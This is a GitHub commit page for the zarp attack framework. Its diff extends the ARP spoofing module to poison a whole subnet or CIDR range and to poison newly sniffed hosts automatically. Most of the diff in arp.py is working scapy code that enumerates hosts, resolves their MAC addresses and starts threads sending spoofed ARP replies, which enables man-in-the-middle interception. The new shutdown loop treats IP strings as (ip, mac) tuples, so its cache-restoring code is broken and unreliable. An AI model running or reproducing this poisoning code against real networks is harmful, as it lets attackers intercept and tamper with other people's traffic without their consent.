Skip to content

Commit

Permalink
Allowing for ARP poisoning of entire subnet, CIDR, and active ARP poi…
Browse files Browse the repository at this point in the history
…soning of newly identified targets. Response to feature request #7
  • Loading branch information
bwall committed Jun 18, 2015
1 parent f0f3c7e commit e217fb8
Show file tree
Hide file tree
Showing 2 changed files with 190 additions and 51 deletions.
46 changes: 26 additions & 20 deletions src/core/util.py
Original file line number Diff line number Diff line change
Expand Up @@ -61,7 +61,7 @@ def debug(msg):
dbg = config.get('log')
if config.get('debug') and not os.path.islink(dbg):
with open(dbg, 'a+') as f:
f.write(format('[%s] %s\n' % (timestamp(), msg))) #TODO add color
f.write(format('[%s] %s\n' % (timestamp(), msg))) # TODO add color


def get_input(msg):
Expand All @@ -86,7 +86,7 @@ def timestamp():
""" Generate a formatted timestamp
"""
return '%s %s' % (date.today().isoformat(),
datetime.now().strftime('%I:%M%p'))
datetime.now().strftime('%I:%M%p'))


def getipbyhost(hostname):
Expand Down Expand Up @@ -186,7 +186,7 @@ def enable_monitor(channel=None):
tmp = getoutput('airmon-ng start {0}'.format(iface))
else:
tmp = getoutput('airmon-ng start {0} {1}'
.format(iface, channel))
.format(iface, channel))
debug("started \'%s\' in monitor mode" % iface)
except Exception, j:
Error("Error enabling monitor mode: %s" % j)
Expand Down Expand Up @@ -239,7 +239,7 @@ def get_local_ip(adapter):
s.fileno(),
0x8915,
struct.pack('256s', adapter[:15])
)[20:24])
)[20:24])
except:
addr = None
return addr
Expand Down Expand Up @@ -294,16 +294,16 @@ def check_opts(choice):
if opts[1] is None or opts[2] is None:
return
print '[!] Setting ' + color.YELLOW + '%s' % opts[1] + color.END + \
'-> ' + color.GREEN + '%s..' % opts[2] + color.END
'-> ' + color.GREEN + '%s..' % opts[2] + color.END
config.set(opts[1], opts[2])
choice = -1
return choice


def check_dependency(module):
""" Attempts to load the module; returns a boolean
indicating success or fail.
"""
"""
try:
mod = __import__(module)
except Exception, e:
Expand All @@ -316,21 +316,21 @@ def help():
""" Dump a help menu with zarp options
"""
print color.B_YELLOW + '\n zarp options:' + color.B_WHITE
print color.B_GREEN + '\thelp\t\t\t' + color.B_WHITE + '- This menu'
print color.B_GREEN + '\tgops\t\t\t' + color.B_WHITE + '- Display global options'
print color.B_GREEN + '\texit\t\t\t' + color.B_WHITE + '- Exit immediately'
print color.B_GREEN + '\tbg\t\t\t' + color.B_WHITE + '- Put zarp to background'
print color.B_GREEN + '\thelp\t\t\t' + color.B_WHITE + '- This menu'
print color.B_GREEN + '\tgops\t\t\t' + color.B_WHITE + '- Display global options'
print color.B_GREEN + '\texit\t\t\t' + color.B_WHITE + '- Exit immediately'
print color.B_GREEN + '\tbg\t\t\t' + color.B_WHITE + '- Put zarp to background'
print color.B_GREEN + '\tset [' + color.B_YELLOW + 'key' + color.B_GREEN + '] [' + \
color.B_YELLOW + 'value' + color.B_GREEN + ']' + color.B_WHITE + \
' \t- Set key to value' + color.END
color.B_YELLOW + 'value' + color.B_GREEN + ']' + color.B_WHITE + \
' \t- Set key to value' + color.END
print color.B_YELLOW + '\n zarp module options:' + color.B_WHITE
print color.B_GREEN + '\t[' + color.B_YELLOW + 'int' + color.B_GREEN + '] [' + \
color.B_YELLOW + 'value' + color.B_GREEN + ']\t\t' + color.B_WHITE + \
'- Set option [int] to value [value]'
color.B_YELLOW + 'value' + color.B_GREEN + ']\t\t' + color.B_WHITE + \
'- Set option [int] to value [value]'
print color.B_GREEN + '\t[' + color.B_YELLOW + 'int' + color.B_GREEN + '] o\t\t\t' + \
color.B_WHITE + '- View options for setting'
print color.B_GREEN + '\trun (r)\t\t\t' + color.B_WHITE + '- Run the selected module'
print color.B_GREEN + '\tinfo \t\t\t' + color.B_WHITE + '- Display module information'
color.B_WHITE + '- View options for setting'
print color.B_GREEN + '\trun (r)\t\t\t' + color.B_WHITE + '- Run the selected module'
print color.B_GREEN + '\tinfo \t\t\t' + color.B_WHITE + '- Display module information'
print color.B_GREEN + '\tops \t\t\t' + color.B_WHITE + '- Display module options'
print color.END

Expand Down Expand Up @@ -384,7 +384,7 @@ def print_menu(arr):

tmp = Cmd()
arr = ['\t%s[%s%d%s] %s%s%s' % (color.B_GREEN, color.B_YELLOW, x + 1, color.B_GREEN,
color.B_WHITE, arr[x], color.END) for x in xrange(len(arr))]
color.B_WHITE, arr[x], color.END) for x in xrange(len(arr))]
tmp.columnize(arr, 100)
print '\n' + color.B_YELLOW + '0' + color.B_GREEN + ')' + color.B_WHITE + ' Back' + color.END
try:
Expand Down Expand Up @@ -438,6 +438,12 @@ def eval_type(value, type):
elif type == "str":
# anything can be a string
rval = (True, str(value))
elif type == "ip or ipmask":
t1 = eval_type(value, "ip")
if t1[0] == False:
t1 = eval_type(value, "ipmask")
return t1
return t1
elif type == "ipmask":
ip = value.split('.')
if len(ip) != 4:
Expand Down Expand Up @@ -466,5 +472,5 @@ def eval_type(value, type):
if does_file_exist(value):
rval = (True, value)
else:
Error('Unrecognized type: %s'%type)
Error('Unrecognized type: %s' % type)
return rval
195 changes: 164 additions & 31 deletions src/modules/poison/arp.py
Original file line number Diff line number Diff line change
@@ -1,11 +1,15 @@
import logging

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from threading import Thread
from scapy.all import *
from util import Error, Msg, debug
from poison import Poison
from zoption import Zoption
import config
import socket
import fcntl
from multiprocessing.pool import ThreadPool


class arp(Poison):
Expand All @@ -16,21 +20,23 @@ def __init__(self):
super(arp, self).__init__('ARP Spoof')
conf.verb = 0
# tuples (ip,mac)
self.local = (config.get('ip_addr'), get_if_hwaddr(config.get('iface')))
self.local = (config.get('ip_addr'), get_if_hwaddr(config.get('iface')))
self.victim = ()
self.target = ()
self.config.update({"to_ip":Zoption(value = None,
type = "ip",
required = True,
display = "Target to poison"),
"from_ip":Zoption(value = None,
type = "ip",
required = True,
display = "Address to spoof from target"),
"respoof":Zoption(value = 2,
type = "int",
required = False,
display = "Interval to send respoofed packets")
self.targets = {}
self.raw_netmask = None
self.sample_int = None
self.config.update({"to_ip": Zoption(value=None,
type="ip",
required=True,
display="Target to poison"),
"from_ip": Zoption(value=None,
type="ip or ipmask",
required=False,
display="Address or addresses to spoof from target"),
"respoof": Zoption(value=2,
type="int",
required=False,
display="Interval to send respoofed packets")
})
self.info = """
The heart and soul of zarp. This module exploits the ARP
Expand All @@ -40,32 +46,158 @@ def __init__(self):
http://en.wikipedia.org/wiki/ARP_poison
"""

def cidr_to_ip_and_netmask(self, cidr):
ip = cidr.split("/")[0]
bit_count = int(cidr.split("/")[1])
full = struct.unpack("!L", "\xff\xff\xff\xff")[0]
netmask = socket.inet_ntoa(struct.pack('!L', (full << (32 - bit_count)) & full))
return ip, netmask

def get_iface_netmask(self):
return socket.inet_ntoa(fcntl.ioctl(socket.socket(socket.AF_INET, socket.SOCK_DGRAM), 35099,
struct.pack('256s', config.get('iface')))[20:24])

def enumerate_all_ips_in_network(self, sample_ip, netmask):
self.sample_int = struct.unpack("!L", socket.inet_aton(sample_ip))[0]
self.raw_netmask = struct.unpack("!L", socket.inet_aton(netmask))[0]

yield sample_ip

# Going down
test_int = self.sample_int - 1
while True:
if (self.sample_int & self.raw_netmask) == (test_int & self.raw_netmask):
yield socket.inet_ntoa(struct.pack('!L', test_int))
test_int -= 1
else:
break

# Going up
test_int = self.sample_int + 1
while True:
if (self.sample_int & self.raw_netmask) == (test_int & self.raw_netmask):
yield socket.inet_ntoa(struct.pack('!L', test_int))
test_int += 1
else:
break

@staticmethod
def get_mac_address_for_ip(ip):
return ip, getmacbyip(ip)

def initialize(self):
"""Initialize the ARP spoofer
"""
self.victim = (self.config['to_ip'].value,
getmacbyip(self.config['to_ip'].value))
self.target = (self.config['from_ip'].value,
getmacbyip(self.config['from_ip'].value))
self.victim = (self.config['to_ip'].value, getmacbyip(self.config['to_ip'].value))

if self.config['from_ip'].value is None:
# Enumerate all IPs in network
Msg("Gathering information on network...this may take a minute")
thread_pool = ThreadPool(processes=25)
ip_whitelist = {self.victim[0], self.local[0]}
for ip, mac in thread_pool.imap_unordered(arp.get_mac_address_for_ip,
(ip for ip in self.enumerate_all_ips_in_network(
self.config['to_ip'].value, self.get_iface_netmask()))):
if ip in ip_whitelist:
continue

if mac is None or mac == "ff:ff:ff:ff:ff:ff":
# no mac for you, next!
continue

self.targets[ip] = mac
# todo Consider adding an upper limit on hosts being poisoned
elif "/" in self.config['from_ip'].value:
source_ip, netmask = self.cidr_to_ip_and_netmask(self.config['from_ip'].value)
# Enumerate all IPs in network
Msg("Gathering information on network...this may take a minute")
thread_pool = ThreadPool(processes=25)
ip_whitelist = {self.victim[0], self.local[0]}
for ip, mac in thread_pool.imap_unordered(arp.get_mac_address_for_ip, (ip for ip in
self.enumerate_all_ips_in_network(
source_ip, netmask))):
if ip in ip_whitelist:
continue

if mac is None or mac == "ff:ff:ff:ff:ff:ff":
# no mac for you, next!
continue

self.targets[ip] = mac
# todo Consider adding an upper limit on hosts being poisoned
else:
self.targets[self.config['from_ip'].value] = getmacbyip(self.config['from_ip'].value)
Msg("Initializing ARP poison...")
return self.initialize_post_spoof()

def handle_ip_packet(self, pkt):
try:
if IP in pkt and Ether in pkt:
ip = pkt[IP].src
mac = pkt[Ether].src
if ip not in self.targets and mac != "ff:ff:ff:ff:ff:ff" and ip != self.local[0] \
and ip != self.victim[0] and ip != "0.0.0.0":
raw_ip = struct.unpack("!L", socket.inet_aton(ip))[0]
if (self.sample_int & self.raw_netmask) == (raw_ip & self.raw_netmask):
self.targets[ip] = mac
target = (ip, mac)
Msg("Poisoning {0} <---> {1}".format(self.victim[0], target[0]))
victim_thread = Thread(target=self.respoofer, args=(target, self.victim))
victim_thread.daemon = True
victim_thread.start()
# send ARP replies to spoofed address
target_thread = Thread(target=self.respoofer, args=(self.victim, target))
target_thread.daemon = True
target_thread.start()
if ARP in pkt and Ether in pkt and pkt[ARP].op in (1, 2):
ip = pkt[ARP].psrc
mac = pkt[Ether].src
if ip not in self.targets and mac != "ff:ff:ff:ff:ff:ff" and ip != self.local[0] \
and ip != self.victim[0] and ip != "0.0.0.0":
raw_ip = struct.unpack("!L", socket.inet_aton(ip))[0]
if (self.sample_int & self.raw_netmask) == (raw_ip & self.raw_netmask):
self.targets[ip] = mac
target = (ip, mac)
Msg("Poisoning {0} <---> {1}".format(self.victim[0], target[0]))
victim_thread = Thread(target=self.respoofer, args=(target, self.victim))
victim_thread.daemon = True
victim_thread.start()
# send ARP replies to spoofed address
target_thread = Thread(target=self.respoofer, args=(self.victim, target))
target_thread.daemon = True
target_thread.start()

except Exception, j:
Error('Error with ARP poisoner: %s' % j)
self.running = False

def sniffer_thread(self):
sniff(prn=self.handle_ip_packet, filter="ip or arp", store=0)

def initialize_post_spoof(self):
""" Separated from mainline initialization so we can run this post-var
configuration. If you're calling this, BE SURE to set up the required
variables first!
"""
try:
if self.config['from_ip'].value is None or "/" in self.config['from_ip'].value:
sniff_thread = Thread(target=self.sniffer_thread)
sniff_thread.daemon = True
sniff_thread.start()

# send ARP replies to victim
debug('Beginning ARP spoof to victim...')
self.running = True
victim_thread = Thread(target=self.respoofer,
args=(self.target, self.victim))
victim_thread.start()
# send ARP replies to spoofed address
target_thread = Thread(target=self.respoofer,
args=(self.victim, self.target))
target_thread.start()
for key in self.targets.keys():
target = (key, self.targets[key])
Msg("Poisoning {0} <---> {1}".format(self.victim[0], target[0]))
victim_thread = Thread(target=self.respoofer, args=(target, self.victim))
victim_thread.daemon = True
victim_thread.start()
# send ARP replies to spoofed address
target_thread = Thread(target=self.respoofer, args=(self.victim, target))
target_thread.daemon = True
target_thread.start()
except KeyboardInterrupt:
Msg('Closing ARP poison down...')
self.running = False
Expand Down Expand Up @@ -103,12 +235,13 @@ def shutdown(self):
self.running = False
time.sleep(2) # give it a sec for the respoofer
# rectify the ARP caches
sendp(Ether(dst=self.victim[1], src=self.target[1]) / ARP(op='who-has',
psrc=self.target[0], pdst=self.victim[0]),
count=1)
sendp(Ether(dst=self.target[1], src=self.victim[1]) / ARP(op='who-has',
psrc=self.victim[0], pdst=self.target[0]),
count=1)
for target in self.targets:
sendp(
Ether(dst=self.victim[1], src=target[1]) / ARP(op='who-has', psrc=target[0], pdst=self.victim[0]),
count=1)
sendp(
Ether(dst=target[1], src=self.victim[1]) / ARP(op='who-has', psrc=self.victim[0], pdst=target[0]),
count=1)
debug('ARP shutdown complete.')
return True

Expand Down

0 comments on commit e217fb8

Please sign in to comment.